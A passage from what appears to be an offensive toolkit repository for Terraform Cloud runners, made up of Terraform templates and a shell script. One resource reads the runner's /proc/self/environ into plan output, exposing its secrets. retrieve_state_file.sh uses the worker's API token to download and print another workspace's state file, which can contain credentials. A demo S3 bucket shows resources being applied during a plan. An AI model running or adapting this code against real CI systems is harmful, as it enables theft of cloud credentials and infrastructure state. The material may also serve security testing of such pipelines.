# triggers = { 11 | # (each.key) = file("/env/${each.key}") 12 | # } 13 | #} 14 | 15 | resource "null_resource" "null_envvars" { 16 | triggers = { 17 | tfvars = file("/proc/self/environ") 18 | } 19 | } -------------------------------------------------------------------------------- /templates/provider_template.tf: -------------------------------------------------------------------------------- 1 | 2 | variable "$access_key_variable" {} 3 | 4 | variable "$secret_key_variable" {} 5 | 6 | provider "aws" { 7 | region = "us-east-1" 8 | # credentials 9 | access_key = var.$access_key_variable 10 | secret_key = var.$secret_key_variable 11 | } -------------------------------------------------------------------------------- /templates/retrieve_state_file.sh: -------------------------------------------------------------------------------- 1 | # If an argument is supplied, use this as TF workspace name 2 | # Otherwise use the existing one from the TF worker's env 3 | if [ -n "$1" ] 4 | then 5 | ORG=$(echo $ATLAS_WORKSPACE_SLUG | cut -d '/' -f 1) 6 | ATLAS_WORKSPACE_SLUG=$ORG/$1 7 | fi 8 | 9 | # Fetch the workspace id by describing the TF workspace by name 10 | id=$(curl --header "Authorization: Bearer $ATLAS_TOKEN" --header "Content-Type: application/vnd.api+json" $ATLAS_ADDRESS/api/v2/organizations/$(echo $ATLAS_WORKSPACE_SLUG | sed 's/\//\/workspaces\//g') 2>/dev/null | grep -o 'ws[^\"]*' | head -1) 11 | # Fetch the current-state-version URL of the TF workspace 12 | state_url=$(curl --header "Authorization: Bearer $ATLAS_TOKEN" --header "Content-Type: application/vnd.api+json" $ATLAS_ADDRESS/api/v2/workspaces/$id/current-state-version 2>/dev/null| grep hosted-state-download-url | grep -o 'https[^\"]*' | head -1) 13 | # Retrive the state and print it to the stdout 14 | echo "Retrieving state from: $state_url" 15 | curl $state_url 2>/dev/null -------------------------------------------------------------------------------- /templates/s3_bucket.tf: -------------------------------------------------------------------------------- 1 | # This file is for demonstrating that apply_on_plan.sh is possible by generating an S3 bucket 2 | resource "random_string" "random_name" { 3 | length = 8 4 | min_lower = 8 5 | } 6 | 7 | resource "aws_s3_bucket_acl" "bucket" { 8 | bucket = aws_s3_bucket.bucket.id 9 | acl = "private" 10 | } 11 | 12 | resource "aws_s3_bucket" "bucket" { 13 | bucket = "remove-this-test-bucket-${random_string.random_name.result}" 14 | 15 | tags = { 16 | Name = "Remove-This" 17 | Environment = "Test-Env" 18 | } 19 | } --------------------------------------------------------------------------------